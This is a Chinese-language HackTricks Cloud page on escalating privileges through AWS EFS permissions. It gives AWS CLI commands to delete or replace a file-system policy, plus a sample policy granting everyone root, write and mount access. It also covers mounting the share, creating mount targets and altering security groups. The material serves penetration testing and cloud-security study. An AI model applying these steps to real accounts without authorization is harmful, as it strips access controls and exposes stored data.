AWS - EFS Privesc

学习并练习AWS黑客技术：HackTricks培训AWS红队专家（ARTE） 学习并练习GCP黑客技术：HackTricks培训GCP红队专家（GRTE）

支持HackTricks

• 检查订阅计划!

• 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享黑客技巧。

EFS

有关EFS的更多信息请查看：

AWS - EFS Enum

请记住，要挂载EFS，您需要位于EFS暴露的子网络中并具有访问权限（安全组）。如果是这样，通常情况下您将始终能够挂载它，但是，如果它受IAM策略保护，您需要具有此处提到的额外权限才能访问它。

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

拥有这些权限之一，攻击者可以更改文件系统策略以授予您访问权限，或者只是删除它以便授予默认访问权限。

要删除策略：

aws efs delete-file-system-policy \
--file-system-id <value>

要更改它：

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

具有此权限，攻击者将能够挂载EFS。如果未将写入权限默认授予所有可以挂载EFS的人，则他将只具有读取访问权限。

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

额外权限elasticfilesystem:ClientRootAccess和elasticfilesystem:ClientWrite可用于在文件系统挂载后写入文件系统并以root身份访问该文件系统。

潜在影响： 通过在文件系统中定位敏感信息进行间接权限提升。

elasticfilesystem:CreateMountTarget

如果攻击者位于没有 EFS 挂载目标的子网络中，他可以使用此权限在自己的子网中创建一个挂载目标：

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

潜在影响: 通过在文件系统中定位敏感信息来进行间接权限提升。

elasticfilesystem:ModifyMountTargetSecurityGroups

在某种情况下，攻击者发现EFS在他的子网络中有挂载目标，但没有安全组允许流量通过，他可以通过修改所选的安全组来改变这一情况：

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

潜在影响: 通过在文件系统中定位敏感信息进行间接权限提升。

学习并实践AWS黑客技术：HackTricks培训AWS红队专家（ARTE） 学习并实践GCP黑客技术：HackTricks培训GCP红队专家（GRTE）

支持HackTricks

• 检查订阅计划!

• 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @hacktricks_live.

• 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享黑客技巧。